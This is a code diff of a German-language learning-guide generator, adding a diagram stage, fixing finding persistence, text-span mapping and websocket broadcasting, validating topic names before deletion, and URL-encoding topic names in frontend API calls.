@@ -18,7 +19,7 @@ import struktur
|
|||||||
log = logging.getLogger("creator2.qa")
|
log = logging.getLogger("creator2.qa")
|
||||||
|
|
||||||
MODULE = {"korpus": korpus, "inventar": inventar, "artefakte": artefakte,
|
MODULE = {"korpus": korpus, "inventar": inventar, "artefakte": artefakte,
|
||||||
"struktur": struktur, "guide": guide}
|
"struktur": struktur, "diagramme": diagramme, "guide": guide}
|
||||||
|
|
||||||
# Gewichte je Befund-Art: kritisch 3.0 (verletzt Kernprinzip), mittel 1.5, stil 0.5.
|
# Gewichte je Befund-Art: kritisch 3.0 (verletzt Kernprinzip), mittel 1.5, stil 0.5.
|
||||||
GEWICHTE = {
|
GEWICHTE = {
|
||||||
@@ -32,7 +33,9 @@ GEWICHTE = {
|
|||||||
"kapitel_zerstueckelt": 1.5, "titel_katalog": 1.5, "quelle_unvollstaendig": 3.0,
|
"kapitel_zerstueckelt": 1.5, "titel_katalog": 1.5, "quelle_unvollstaendig": 3.0,
|
||||||
"section_fehlt": 3.0, "marker_fehlend": 3.0, "marker_fremd": 3.0,
|
"section_fehlt": 3.0, "marker_fehlend": 3.0, "marker_fremd": 3.0,
|
||||||
"ziel_ohne_anker": 3.0, "fachlich_falsch": 3.0, "laenge": 0.5, "vorwaerts": 0.5,
|
"ziel_ohne_anker": 3.0, "fachlich_falsch": 3.0, "laenge": 0.5, "vorwaerts": 0.5,
|
||||||
"det_check": 0.5,
|
"det_check": 0.5, "fix_offen": 1.5,
|
||||||
|
"diagramm_parse_fehler": 3.0, "diagramm_ungegroundet": 3.0,
|
||||||
|
"diagramm_unverifiziert": 0.5, "diagramm_marker_tot": 3.0,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -45,6 +48,7 @@ def _basis(topic: str, ebene: str) -> int:
|
|||||||
" AND status NOT IN ('gemerged','verworfen')",
|
" AND status NOT IN ('gemerged','verworfen')",
|
||||||
"struktur": "SELECT COUNT(*) n FROM atome WHERE topic=?"
|
"struktur": "SELECT COUNT(*) n FROM atome WHERE topic=?"
|
||||||
" AND status NOT IN ('gemerged','verworfen')",
|
" AND status NOT IN ('gemerged','verworfen')",
|
||||||
|
"diagramme": "SELECT COUNT(*) n FROM bausteine WHERE topic=?",
|
||||||
"guide": "SELECT COUNT(*) n FROM bausteine WHERE topic=?"}[ebene]
|
"guide": "SELECT COUNT(*) n FROM bausteine WHERE topic=?"}[ebene]
|
||||||
row = db.one(z, (topic,))
|
row = db.one(z, (topic,))
|
||||||
return max(1, int(row["n"]) if row else 1)
|
return max(1, int(row["n"]) if row else 1)
|
||||||
@@ -62,21 +66,30 @@ def note(befunde: list[dict], basis: int) -> float:
|
|||||||
|
|
||||||
def _persistieren(ctx: llm.Kontext, ebene: str, befunde: list[dict]) -> None:
|
def _persistieren(ctx: llm.Kontext, ebene: str, befunde: list[dict]) -> None:
|
||||||
"""Offene Alt-Befunde, die nicht mehr auftreten → repariert; Neues → offen.
|
"""Offene Alt-Befunde, die nicht mehr auftreten → repariert; Neues → offen.
|
||||||
Bestehende offene Zeilen bleiben (kein Duplikat)."""
|
Schlüssel schließt detail EIN — mehrere Befunde gleicher (art, item) mit
|
||||||
alte = db.query("SELECT * FROM befunde WHERE run_id=? AND ebene=? AND status='offen'",
|
verschiedenen Details (z. B. mehrere det_check je Section) sind legitim und
|
||||||
(ctx.run_id, ebene))
|
brauchen je eine Zeile; ohne detail kollabierten sie und alte Details blieben
|
||||||
neu_keys = {(b["art"], str(b["item"])) for b in befunde}
|
für immer offen. topic-scoped (JOIN runs), damit auch offene Zeilen früherer
|
||||||
|
Läufe geschlossen werden, wenn der Befund nicht mehr auftritt."""
|
||||||
|
alte = db.query(
|
||||||
|
"SELECT b.* FROM befunde b JOIN runs r ON r.id=b.run_id"
|
||||||
|
" WHERE r.topic=? AND b.ebene=? AND b.status='offen'", (ctx.topic, ebene))
|
||||||
|
|
||||||
|
def schluessel(art, item, detail) -> tuple:
|
||||||
|
return (art, str(item), (detail or "")[:500])
|
||||||
|
|
||||||
|
neu_keys = {schluessel(b["art"], b["item"], b.get("detail", "")) for b in befunde}
|
||||||
alt_keys = set()
|
alt_keys = set()
|
||||||
for alt in alte:
|
for alt in alte:
|
||||||
key = (alt["art"], alt["item"])
|
k = schluessel(alt["art"], alt["item"], alt["detail"])
|
||||||
if key in neu_keys:
|
if k in neu_keys:
|
||||||
alt_keys.add(key)
|
alt_keys.add(k)
|
||||||
else:
|
else:
|
||||||
db.update("befunde", "id", alt["id"], status="repariert")
|
db.update("befunde", "id", alt["id"], status="repariert")
|
||||||
for b in befunde:
|
for b in befunde:
|
||||||
if (b["art"], str(b["item"])) not in alt_keys:
|
if schluessel(b["art"], b["item"], b.get("detail", "")) not in alt_keys:
|
||||||
db.insert("befunde", run_id=ctx.run_id, ebene=ebene, art=b["art"],
|
db.insert("befunde", run_id=ctx.run_id, ebene=ebene, art=b["art"],
|
||||||
item=str(b["item"]), detail=b["detail"][:500], status="offen")
|
item=str(b["item"]), detail=(b.get("detail") or "")[:500], status="offen")
|
||||||
|
|
||||||
|
|
||||||
async def messen(ctx: llm.Kontext, ebene: str, mit_llm: bool = True) -> tuple[float, list[dict]]:
|
async def messen(ctx: llm.Kontext, ebene: str, mit_llm: bool = True) -> tuple[float, list[dict]]:
|
||||||
|
|||||||
@@ -74,7 +74,7 @@ async def _ziele_bilden(ctx: llm.Kontext) -> None:
|
|||||||
for a in rest:
|
for a in rest:
|
||||||
db.update("atome", "id", a["id"], ziel_id=ziel_id)
|
db.update("atome", "id", a["id"], ziel_id=ziel_id)
|
||||||
|
|
||||||
await asyncio.gather(*(eine_gruppe(s, g) for s, g in gruppen.items()))
|
await llm.alle(eine_gruppe(s, g) for s, g in gruppen.items())
|
||||||
|
|
||||||
|
|
||||||
# ── Zyklen brechen ────────────────────────────────────────────────────────────
|
# ── Zyklen brechen ────────────────────────────────────────────────────────────
|
||||||
@@ -220,8 +220,11 @@ def _bausteine_schneiden(ctx: llm.Kontext) -> None:
|
|||||||
kleine = sorted([k for k, g in gruppen.items() if len(g) < BAUSTEIN_MIN_ATOME],
|
kleine = sorted([k for k, g in gruppen.items() if len(g) < BAUSTEIN_MIN_ATOME],
|
||||||
key=lambda k: len(gruppen[k]))
|
key=lambda k: len(gruppen[k]))
|
||||||
for k in kleine:
|
for k in kleine:
|
||||||
passende = [p for p in gruppen if p != k and p[1] == k[1]
|
# nur Level-Gleichheit als Schranke — die MAX-Grenze fiel weg, weil der
|
||||||
and len(gruppen[p]) + len(gruppen[k]) <= BAUSTEIN_MAX_ATOME]
|
# Split große Gruppen ohnehin bandkonform zerlegt. Sonst blieb eine
|
||||||
|
# kleine Gruppe ohne passenden Partner als Unter-Band-Baustein liegen,
|
||||||
|
# den messen dann als unreparierbaren band-Befund meldete.
|
||||||
|
passende = [p for p in gruppen if p != k and p[1] == k[1]]
|
||||||
if not passende:
|
if not passende:
|
||||||
continue
|
continue
|
||||||
eigener = gruppen_rang(gruppen[k])
|
eigener = gruppen_rang(gruppen[k])
|
||||||
@@ -249,9 +252,15 @@ def _bausteine_schneiden(ctx: llm.Kontext) -> None:
|
|||||||
z = ziele.get(ziel_id, {})
|
z = ziele.get(ziel_id, {})
|
||||||
titel = z.get("titel") or z.get("text", "Baustein") # Kurztitel; Zieltext nur Fallback
|
titel = z.get("titel") or z.get("text", "Baustein") # Kurztitel; Zieltext nur Fallback
|
||||||
n_teile = -(-len(gruppe) // BAUSTEIN_MAX_ATOME)
|
n_teile = -(-len(gruppe) // BAUSTEIN_MAX_ATOME)
|
||||||
groesse = -(-len(gruppe) // n_teile)
|
# gleichverteilt statt ceil-Scheiben: der letzte Teil war sonst der Rest
|
||||||
|
# (43→8,8,8,8,8,3 verletzt das Band). divmod → 43→8,7,7,7,7,7; mit
|
||||||
|
# MIN≤MAX/2 liegt jeder Teil bei n_teile≥2 beweisbar im Band.
|
||||||
|
basis, rest_teile = divmod(len(gruppe), n_teile)
|
||||||
|
start = 0
|
||||||
for teil in range(n_teile):
|
for teil in range(n_teile):
|
||||||
teil_ids = ordnung[teil * groesse:(teil + 1) * groesse]
|
gr = basis + (1 if teil < rest_teile else 0)
|
||||||
|
teil_ids = ordnung[start:start + gr]
|
||||||
|
start += gr
|
||||||
if not teil_ids:
|
if not teil_ids:
|
||||||
continue
|
continue
|
||||||
b_titel = titel if n_teile == 1 else f"{titel} (Teil {teil + 1})"
|
b_titel = titel if n_teile == 1 else f"{titel} (Teil {teil + 1})"
|
||||||
@@ -473,14 +482,13 @@ def messen(ctx: llm.Kontext) -> list[dict]:
|
|||||||
je_baustein: dict = defaultdict(list)
|
je_baustein: dict = defaultdict(list)
|
||||||
for a in atome:
|
for a in atome:
|
||||||
je_baustein[a["baustein_id"]].append(a)
|
je_baustein[a["baustein_id"]].append(a)
|
||||||
# Band-Unterschreitung nur, wo ein Merge MÖGLICH gewesen wäre (kombiniert
|
# Band-Unterschreitung nur, wo der Schnitt einen Merge-Partner HÄTTE (gleiches
|
||||||
# ≤ Band) — dieselbe Bedingung wie im Schnitt; eine unerfüllbare Messlatte
|
# Level, anderer Baustein) — der Schnitt mergt jetzt ohne MAX-Schranke und
|
||||||
# pendelt nur die Note (Lektion 75).
|
# re-splittet bandkonform, also ist genau das die erfüllbare Messlatte. Eine
|
||||||
|
# einsame Unter-Band-Gruppe ohne Level-Partner meldet nichts (Lektion 75).
|
||||||
for b in bausteine:
|
for b in bausteine:
|
||||||
n = len(je_baustein[b["id"]])
|
n = len(je_baustein[b["id"]])
|
||||||
partner = any(bb["id"] != b["id"] and bb["level"] == b["level"]
|
partner = any(bb["id"] != b["id"] and bb["level"] == b["level"] for bb in bausteine)
|
||||||
and len(je_baustein[bb["id"]]) + n <= BAUSTEIN_MAX_ATOME
|
|
||||||
for bb in bausteine)
|
|
||||||
if n > BAUSTEIN_MAX_ATOME or (n < BAUSTEIN_MIN_ATOME and partner):
|
if n > BAUSTEIN_MAX_ATOME or (n < BAUSTEIN_MIN_ATOME and partner):
|
||||||
befunde.append({"art": "band", "item": str(b["id"]),
|
befunde.append({"art": "band", "item": str(b["id"]),
|
||||||
"detail": f"{b['titel']}: {n} Atome"})
|
"detail": f"{b['titel']}: {n} Atome"})
|
||||||
|
|||||||
@@ -65,6 +65,18 @@ def _locker_mit_map(text: str) -> tuple[str, list[int]]:
|
|||||||
return "".join(out), mapping
|
return "".join(out), mapping
|
||||||
|
|
||||||
|
|
||||||
|
def _casefold_mit_map(text: str) -> tuple[str, list[int]]:
|
||||||
|
"""Gefaltete Kopie + Map auf die Original-Positionen. casefold() kann ein
|
||||||
|
Zeichen zu mehreren expandieren (ß→ss) — die Map hält den Rückweg eindeutig."""
|
||||||
|
out: list[str] = []
|
||||||
|
mapping: list[int] = []
|
||||||
|
for i, c in enumerate(text):
|
||||||
|
for cn in c.casefold():
|
||||||
|
out.append(cn)
|
||||||
|
mapping.append(i)
|
||||||
|
return "".join(out), mapping
|
||||||
|
|
||||||
|
|
||||||
_LOCKER_MIN_ZEICHEN = 20 # kürzere Zitate sind alnum-gefaltet nicht mehr eindeutig
|
_LOCKER_MIN_ZEICHEN = 20 # kürzere Zitate sind alnum-gefaltet nicht mehr eindeutig
|
||||||
|
|
||||||
|
|
||||||
@@ -81,11 +93,17 @@ def finde_zitat(text: str, zitat: str) -> tuple[int, int] | None:
|
|||||||
haystack, mapping = _normiert_mit_map(text)
|
haystack, mapping = _normiert_mit_map(text)
|
||||||
needle = _WS.sub(" ", zitat).strip()
|
needle = _WS.sub(" ", zitat).strip()
|
||||||
pos = haystack.find(needle)
|
pos = haystack.find(needle)
|
||||||
if pos < 0:
|
|
||||||
pos = haystack.casefold().find(needle.casefold())
|
|
||||||
if pos >= 0:
|
if pos >= 0:
|
||||||
start = mapping[pos]
|
return mapping[pos], mapping[min(pos + len(needle) - 1, len(mapping) - 1)] + 1
|
||||||
ende = mapping[min(pos + len(needle) - 1, len(mapping) - 1)] + 1
|
# Stufe 2: casefold — eigene Map, weil casefold die Länge ändert (ß→ss, fi→fi).
|
||||||
|
# Direkt in `mapping` zu indizieren verschob den Span um jede Expansion vor dem
|
||||||
|
# Treffer und lief am Textende in einen IndexError.
|
||||||
|
hay_cf, sub = _casefold_mit_map(haystack)
|
||||||
|
ndl_cf = needle.casefold()
|
||||||
|
pos = hay_cf.find(ndl_cf)
|
||||||
|
if pos >= 0:
|
||||||
|
start = mapping[sub[pos]]
|
||||||
|
ende = mapping[sub[min(pos + len(ndl_cf) - 1, len(sub) - 1)]] + 1
|
||||||
return start, ende
|
return start, ende
|
||||||
hay_l, map_l = _locker_mit_map(text)
|
hay_l, map_l = _locker_mit_map(text)
|
||||||
ndl_l, _ = _locker_mit_map(zitat)
|
ndl_l, _ = _locker_mit_map(zitat)
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import re
|
|||||||
import sys
|
import sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
|
import config
|
||||||
import db
|
import db
|
||||||
import pipeline
|
import pipeline
|
||||||
from config import PROJECT_ROOT
|
from config import PROJECT_ROOT
|
||||||
@@ -69,6 +70,11 @@ def _einfuegen(tabelle: str, zeilen: list[dict], **ersetzungen) -> dict:
|
|||||||
|
|
||||||
def importieren(d: dict) -> None:
|
def importieren(d: dict) -> None:
|
||||||
topic = d["topic"]
|
topic = d["topic"]
|
||||||
|
# Vor dem destruktiven topic_loeschen (rmtree) den Namen validieren — ein
|
||||||
|
# manipulierter Export mit topic="../evil" würde sonst außerhalb von storage
|
||||||
|
# löschen/schreiben.
|
||||||
|
if not config.topic_name_ok(topic):
|
||||||
|
raise ValueError(f"ungültiger Topic-Name: {topic!r}")
|
||||||
if db.one("SELECT name FROM topics WHERE name=?", (topic,)):
|
if db.one("SELECT name FROM topics WHERE name=?", (topic,)):
|
||||||
pipeline.topic_loeschen(topic) # Zielseite wird überschrieben
|
pipeline.topic_loeschen(topic) # Zielseite wird überschrieben
|
||||||
|
|
||||||
@@ -119,12 +125,21 @@ def importieren(d: dict) -> None:
|
|||||||
alt = int(m.group(1))
|
alt = int(m.group(1))
|
||||||
return m.group(0).replace(m.group(1), str(a_map[alt]), 1) if alt in a_map else m.group(0)
|
return m.group(0).replace(m.group(1), str(a_map[alt]), 1) if alt in a_map else m.group(0)
|
||||||
|
|
||||||
|
def auftrag_remap(m: re.Match) -> str:
|
||||||
|
alt = int(m.group(2))
|
||||||
|
return f"{m.group(1)}{a_map[alt]}" if alt in a_map else m.group(0)
|
||||||
|
|
||||||
for z in d["sections"]: # PK ist baustein_id
|
for z in d["sections"]: # PK ist baustein_id
|
||||||
z = dict(z)
|
z = dict(z)
|
||||||
z["baustein_id"] = b_map.get(z["baustein_id"])
|
z["baustein_id"] = b_map.get(z["baustein_id"])
|
||||||
for feld in ("text_lang", "text_kompakt"):
|
for feld in ("text_lang", "text_kompakt"):
|
||||||
if z.get(feld):
|
if z.get(feld):
|
||||||
z[feld] = re.sub(r"<!--\s*atom:\s*(\d+)\s*\|", marker_remap, z[feld])
|
z[feld] = re.sub(r"<!--\s*atom:\s*(\d+)\s*\|", marker_remap, z[feld])
|
||||||
|
# offene Fix-Aufträge nennen Atom-IDs im Klartext („Marker für Atom 123
|
||||||
|
# fehlt") — mitremappen, sonst fixt der Prüfer gegen tote IDs
|
||||||
|
if z.get("befunde"):
|
||||||
|
z["befunde"] = db.j([re.sub(r"(Atom |Marker )(\d+)", auftrag_remap, str(a))
|
||||||
|
for a in db.uj(z["befunde"])])
|
||||||
db.insert("sections", **z)
|
db.insert("sections", **z)
|
||||||
r_map = _einfuegen("runs", d["runs"])
|
r_map = _einfuegen("runs", d["runs"])
|
||||||
_einfuegen("befunde", d["befunde"], run_id=r_map)
|
_einfuegen("befunde", d["befunde"], run_id=r_map)
|
||||||
|
|||||||
@@ -12,9 +12,21 @@ class Hub:
|
|||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._clients: set = set()
|
self._clients: set = set()
|
||||||
self._loop: asyncio.AbstractEventLoop | None = None
|
self._loop: asyncio.AbstractEventLoop | None = None
|
||||||
|
self._queue: asyncio.Queue | None = None
|
||||||
|
|
||||||
def bind_loop(self, loop: asyncio.AbstractEventLoop) -> None:
|
def bind_loop(self, loop: asyncio.AbstractEventLoop) -> None:
|
||||||
self._loop = loop
|
self._loop = loop
|
||||||
|
self._queue = asyncio.Queue()
|
||||||
|
# EIN Sender-Task serialisiert die Broadcasts — ein Task-pro-push konnte
|
||||||
|
# sich bei Backpressure überholen (out-of-order-Deltas, konkurrierende
|
||||||
|
# send_text auf demselben Socket).
|
||||||
|
loop.create_task(self._sende_schleife())
|
||||||
|
|
||||||
|
async def _sende_schleife(self) -> None:
|
||||||
|
assert self._queue is not None
|
||||||
|
while True:
|
||||||
|
msg = await self._queue.get()
|
||||||
|
await self._send_all(msg)
|
||||||
|
|
||||||
async def connect(self, websocket) -> None:
|
async def connect(self, websocket) -> None:
|
||||||
await websocket.accept()
|
await websocket.accept()
|
||||||
@@ -24,11 +36,12 @@ class Hub:
|
|||||||
self._clients.discard(websocket)
|
self._clients.discard(websocket)
|
||||||
|
|
||||||
def push(self, tabelle: str, row: dict) -> None:
|
def push(self, tabelle: str, row: dict) -> None:
|
||||||
"""Thread-sicher (DB-Schicht ruft synchron): auf den Loop dispatchen."""
|
"""Thread-sicher (DB-Schicht ruft synchron): in die Queue legen, der
|
||||||
if not self._clients or self._loop is None:
|
Sender-Task verschickt der Reihe nach."""
|
||||||
|
if not self._clients or self._loop is None or self._queue is None:
|
||||||
return
|
return
|
||||||
msg = json.dumps({"tabelle": tabelle, "row": row}, ensure_ascii=False, default=str)
|
msg = json.dumps({"tabelle": tabelle, "row": row}, ensure_ascii=False, default=str)
|
||||||
self._loop.call_soon_threadsafe(lambda: asyncio.ensure_future(self._send_all(msg)))
|
self._loop.call_soon_threadsafe(self._queue.put_nowait, msg)
|
||||||
|
|
||||||
async def _send_all(self, msg: str) -> None:
|
async def _send_all(self, msg: str) -> None:
|
||||||
for ws in list(self._clients):
|
for ws in list(self._clients):
|
||||||
|
|||||||
1564
frontend/package-lock.json
generated
1564
frontend/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -12,9 +12,11 @@
|
|||||||
"@fontsource-variable/inter": "^5.2.8",
|
"@fontsource-variable/inter": "^5.2.8",
|
||||||
"dompurify": "^3.4.7",
|
"dompurify": "^3.4.7",
|
||||||
"highlight.js": "^11.11.1",
|
"highlight.js": "^11.11.1",
|
||||||
|
"jsdom": "^29.1.1",
|
||||||
"katex": "^0.17.0",
|
"katex": "^0.17.0",
|
||||||
"marked": "^18.0.4",
|
"marked": "^18.0.4",
|
||||||
"marked-highlight": "^2.2.4",
|
"marked-highlight": "^2.2.4",
|
||||||
|
"mermaid": "^11.4.1",
|
||||||
"vue": "^3.5.32"
|
"vue": "^3.5.32"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
|||||||
@@ -91,8 +91,8 @@ async function starten() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async function stoppen() {
|
async function stoppen() {
|
||||||
await api.stop(topic.value)
|
try { fehler.value = ''; await api.stop(topic.value); await stateLaden() }
|
||||||
await stateLaden()
|
catch (e) { fehler.value = String(e) } // sonst läuft der Lauf weiter, ohne Signal
|
||||||
}
|
}
|
||||||
|
|
||||||
const transferOk = ref(false) // nur im lokalen Dev-Betrieb (Server: 403)
|
const transferOk = ref(false) // nur im lokalen Dev-Betrieb (Server: 403)
|
||||||
@@ -205,7 +205,8 @@ function runBadge(run) {
|
|||||||
</select>
|
</select>
|
||||||
</div>
|
</div>
|
||||||
<div class="inhalt">
|
<div class="inhalt">
|
||||||
<Board v-if="tab === 'board'" :state="state" :topic="topic" @reload="stateLaden" />
|
<Board v-if="tab === 'board'" :state="state" :topic="topic" @reload="stateLaden"
|
||||||
|
@fehler="(e) => (fehler = e)" />
|
||||||
<Guide v-else-if="tab === 'guide'" :topic="topic" :state="state" />
|
<Guide v-else-if="tab === 'guide'" :topic="topic" :state="state" />
|
||||||
<Ueben v-else-if="tab === 'üben'" :topic="topic" />
|
<Ueben v-else-if="tab === 'üben'" :topic="topic" />
|
||||||
<Kennzahlen v-else :run="state?.run" />
|
<Kennzahlen v-else :run="state?.run" />
|
||||||
|
|||||||
@@ -9,28 +9,32 @@ async function req(pfad, opts = {}) {
|
|||||||
return res.json()
|
return res.json()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Topic-Namen in Pfaden IMMER kodieren — sonst zerlegen „#"/„/" im Namen die
|
||||||
|
// URL und das Topic wird über die UI unbenutzbar/unlöschbar.
|
||||||
|
const e = encodeURIComponent
|
||||||
|
|
||||||
export const api = {
|
export const api = {
|
||||||
topics: () => req('/api/topics'),
|
topics: () => req('/api/topics'),
|
||||||
topicAnlegen: (daten) => req('/api/topics', { method: 'POST', body: JSON.stringify(daten) }),
|
topicAnlegen: (daten) => req('/api/topics', { method: 'POST', body: JSON.stringify(daten) }),
|
||||||
start: (topic, budget) =>
|
start: (topic, budget) =>
|
||||||
req(`/api/topics/${topic}/start`, { method: 'POST', body: JSON.stringify({ budget }) }),
|
req(`/api/topics/${e(topic)}/start`, { method: 'POST', body: JSON.stringify({ budget }) }),
|
||||||
stop: (topic) => req(`/api/topics/${topic}/stop`, { method: 'POST', body: '{}' }),
|
stop: (topic) => req(`/api/topics/${e(topic)}/stop`, { method: 'POST', body: '{}' }),
|
||||||
sollReset: (topic) => req(`/api/topics/${topic}/soll-reset`, { method: 'POST', body: '{}' }),
|
sollReset: (topic) => req(`/api/topics/${e(topic)}/soll-reset`, { method: 'POST', body: '{}' }),
|
||||||
vollReset: (topic) => req(`/api/topics/${topic}/voll-reset`, { method: 'POST', body: '{}' }),
|
vollReset: (topic) => req(`/api/topics/${e(topic)}/voll-reset`, { method: 'POST', body: '{}' }),
|
||||||
setAuto: (topic, ebene, an) =>
|
setAuto: (topic, ebene, an) =>
|
||||||
req(`/api/topics/${topic}/auto`, { method: 'PATCH', body: JSON.stringify({ ebene, an }) }),
|
req(`/api/topics/${e(topic)}/auto`, { method: 'PATCH', body: JSON.stringify({ ebene, an }) }),
|
||||||
ebeneEntfernen: (topic, ebene) =>
|
ebeneEntfernen: (topic, ebene) =>
|
||||||
req(`/api/topics/${topic}/ebene/${ebene}/entfernen`, { method: 'POST', body: '{}' }),
|
req(`/api/topics/${e(topic)}/ebene/${e(ebene)}/entfernen`, { method: 'POST', body: '{}' }),
|
||||||
topicLoeschen: (topic) => req(`/api/topics/${topic}`, { method: 'DELETE' }),
|
topicLoeschen: (topic) => req(`/api/topics/${e(topic)}`, { method: 'DELETE' }),
|
||||||
state: (topic) => req(`/api/topics/${topic}/state`),
|
state: (topic) => req(`/api/topics/${e(topic)}/state`),
|
||||||
guide: (topic) => req(`/api/topics/${topic}/guide`),
|
guide: (topic) => req(`/api/topics/${e(topic)}/guide`),
|
||||||
ueben: (topic) => req(`/api/topics/${topic}/ueben`),
|
ueben: (topic) => req(`/api/topics/${e(topic)}/ueben`),
|
||||||
antwort: (artefakt_id, richtig) =>
|
antwort: (artefakt_id, richtig) =>
|
||||||
req('/api/ueben/antwort', { method: 'POST', body: JSON.stringify({ artefakt_id, richtig }) }),
|
req('/api/ueben/antwort', { method: 'POST', body: JSON.stringify({ artefakt_id, richtig }) }),
|
||||||
kennzahlen: (runId) => req(`/api/runs/${runId}/kennzahlen`),
|
kennzahlen: (runId) => req(`/api/runs/${e(runId)}/kennzahlen`),
|
||||||
transferInfo: () => req('/api/transfer'),
|
transferInfo: () => req('/api/transfer'),
|
||||||
transfer: (topic, richtung) =>
|
transfer: (topic, richtung) =>
|
||||||
req(`/api/topics/${topic}/transfer/${richtung}`, { method: 'POST', body: '{}' }),
|
req(`/api/topics/${e(topic)}/transfer/${e(richtung)}`, { method: 'POST', body: '{}' }),
|
||||||
}
|
}
|
||||||
|
|
||||||
export function wsVerbinden(onEvent) {
|
export function wsVerbinden(onEvent) {
|
||||||
@@ -38,18 +42,19 @@ export function wsVerbinden(onEvent) {
|
|||||||
const wsProto = location.protocol === 'https:' ? 'wss' : 'ws'
|
const wsProto = location.protocol === 'https:' ? 'wss' : 'ws'
|
||||||
const url = (import.meta.env.DEV ? 'ws://localhost:8000' : `${wsProto}://${location.host}`) + '/ws'
|
const url = (import.meta.env.DEV ? 'ws://localhost:8000' : `${wsProto}://${location.host}`) + '/ws'
|
||||||
let ws
|
let ws
|
||||||
|
let offen = true // Cleanup-Flag: nach dem Schließen NICHT mehr reconnecten
|
||||||
const verbinden = () => {
|
const verbinden = () => {
|
||||||
try {
|
try {
|
||||||
ws = new WebSocket(url)
|
ws = new WebSocket(url)
|
||||||
} catch (e) {
|
} catch (err) {
|
||||||
// nie den Aufrufer mitreißen (der SecurityError killte sonst den Poll)
|
// nie den Aufrufer mitreißen (der SecurityError killte sonst den Poll)
|
||||||
console.error('WebSocket nicht verfügbar:', e)
|
console.error('WebSocket nicht verfügbar:', err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
ws.onopen = () => onEvent({ typ: 'verbunden' }) // nach Reconnect: Stand neu laden
|
ws.onopen = () => onEvent({ typ: 'verbunden' }) // nach Reconnect: Stand neu laden
|
||||||
ws.onmessage = (e) => onEvent(JSON.parse(e.data))
|
ws.onmessage = (ev) => onEvent(JSON.parse(ev.data))
|
||||||
ws.onclose = () => setTimeout(verbinden, 2000)
|
ws.onclose = () => { if (offen) setTimeout(verbinden, 2000) }
|
||||||
}
|
}
|
||||||
verbinden()
|
verbinden()
|
||||||
return () => ws && ws.close()
|
return () => { offen = false; if (ws) ws.close() } // sonst Zombie-Reconnect (HMR)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ import { computed, onUnmounted, ref, watch } from 'vue'
|
|||||||
import { api } from '../api.js'
|
import { api } from '../api.js'
|
||||||
|
|
||||||
const props = defineProps({ state: Object, topic: String })
|
const props = defineProps({ state: Object, topic: String })
|
||||||
const emit = defineEmits(['reload'])
|
const emit = defineEmits(['reload', 'fehler'])
|
||||||
|
|
||||||
// Agenten-Zeit lokal weiterticken: der Server liefert laufzeit nur mit dem
|
// Agenten-Zeit lokal weiterticken: der Server liefert laufzeit nur mit dem
|
||||||
// State-Snapshot — zwischen Deltas (lange LLM-Calls) fröre die Anzeige ein.
|
// State-Snapshot — zwischen Deltas (lange LLM-Calls) fröre die Anzeige ein.
|
||||||
@@ -41,6 +41,7 @@ const EBENEN = [
|
|||||||
{ key: 'inventar', titel: 'Atome' },
|
{ key: 'inventar', titel: 'Atome' },
|
||||||
{ key: 'artefakte', titel: 'Artefakte' },
|
{ key: 'artefakte', titel: 'Artefakte' },
|
||||||
{ key: 'struktur', titel: 'Bausteine' },
|
{ key: 'struktur', titel: 'Bausteine' },
|
||||||
|
{ key: 'diagramme', titel: 'Diagramme' },
|
||||||
{ key: 'guide', titel: 'Guide' },
|
{ key: 'guide', titel: 'Guide' },
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -79,6 +80,10 @@ function karten(key) {
|
|||||||
return s.bausteine.map((b) => ({ id: b.id, text: `${b.ord + 1}. ${b.titel}`,
|
return s.bausteine.map((b) => ({ id: b.id, text: `${b.ord + 1}. ${b.titel}`,
|
||||||
badges: [[b.status, statusFarbe(b.status)]] }))
|
badges: [[b.status, statusFarbe(b.status)]] }))
|
||||||
}
|
}
|
||||||
|
if (key === 'diagramme') {
|
||||||
|
return (s.diagramme || []).map((d) => ({ id: d.id, text: `${d.ord + 1}. ${d.titel}`,
|
||||||
|
badges: [[d.status, statusFarbe(d.status)], [`${d.typ} · ${d.quelle}`, 'blau']] }))
|
||||||
|
}
|
||||||
return s.bausteine.map((b) => ({ id: b.id, text: `${b.ord + 1}. ${b.titel}`,
|
return s.bausteine.map((b) => ({ id: b.id, text: `${b.ord + 1}. ${b.titel}`,
|
||||||
badges: [[b.stage || 'offen', b.stage === 'done' ? 'gruen' : 'blau']] }))
|
badges: [[b.stage || 'offen', b.stage === 'done' ? 'gruen' : 'blau']] }))
|
||||||
}
|
}
|
||||||
@@ -100,21 +105,21 @@ async function menueGenerieren() {
|
|||||||
const m = menue.value
|
const m = menue.value
|
||||||
menue.value = null
|
menue.value = null
|
||||||
if (!m || !generierenErlaubt(m.idx)) return
|
if (!m || !generierenErlaubt(m.idx)) return
|
||||||
await api.start(props.topic)
|
try { await api.start(props.topic); emit('reload') }
|
||||||
emit('reload')
|
catch (e) { emit('fehler', String(e)) } // sonst schlägt der Start still fehl
|
||||||
}
|
}
|
||||||
|
|
||||||
async function menueEntfernen() {
|
async function menueEntfernen() {
|
||||||
const m = menue.value
|
const m = menue.value
|
||||||
menue.value = null
|
menue.value = null
|
||||||
if (!m) return
|
if (!m) return
|
||||||
await api.ebeneEntfernen(props.topic, m.key)
|
try { await api.ebeneEntfernen(props.topic, m.key); emit('reload') }
|
||||||
emit('reload')
|
catch (e) { emit('fehler', String(e)) }
|
||||||
}
|
}
|
||||||
|
|
||||||
async function autoSetzen(key, ev) {
|
async function autoSetzen(key, ev) {
|
||||||
await api.setAuto(props.topic, key, ev.target.checked)
|
try { await api.setAuto(props.topic, key, ev.target.checked); emit('reload') }
|
||||||
emit('reload')
|
catch (e) { emit('fehler', String(e)) }
|
||||||
}
|
}
|
||||||
|
|
||||||
const dauer = (s) => (s >= 3600 ? `${Math.floor(s / 3600)}h ${Math.floor((s % 3600) / 60)}m`
|
const dauer = (s) => (s >= 3600 ? `${Math.floor(s / 3600)}h ${Math.floor((s % 3600) / 60)}m`
|
||||||
|
|||||||
@@ -1,8 +1,14 @@
|
|||||||
<script setup>
|
<script setup>
|
